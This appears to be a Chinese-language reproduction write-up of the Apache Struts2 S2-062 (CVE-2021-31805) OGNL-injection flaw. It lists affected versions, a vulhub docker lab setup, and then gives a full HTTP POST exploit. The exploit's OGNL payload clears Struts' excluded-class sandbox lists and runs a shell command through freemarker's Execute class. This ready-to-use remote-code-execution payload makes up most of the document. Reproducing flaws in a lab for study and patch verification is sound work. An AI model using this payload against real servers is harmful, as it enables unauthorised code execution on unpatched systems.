Struts2 S2-062远程代码执行漏洞(CVE-2021-31805)复现

0x01漏洞简介

远程代码执行S2-062（CVE-2021-31805）由于Apache Struts2对S2-061（CVE-2020-17530）的修复不够完整，导致一些标签属性仍然可以执行 OGNL 表达式，攻击者利用该漏洞可以构造恶意数据远程执行任意代码。

0x02漏洞威胁等级

高危。

0x03漏洞影响范围

受影响的版本：

Struts 2.0.0 - Struts 2.5.29

安全版本：

Struts >= 2.5.30

0x04漏洞环境搭建

漏洞环境复用vulhub/struts2/s2-061/的docker环境，使用版本是struts2.5.25

链接：vulhub/struts2/s2-061 at master · vulhub/vulhub · GitHub

拉取镜像启动环境，命令：

docker-compose up -d

访问地址：http://127.0.0.1:8080/?id=

 

漏洞Exp

POST /index.action HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1095

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—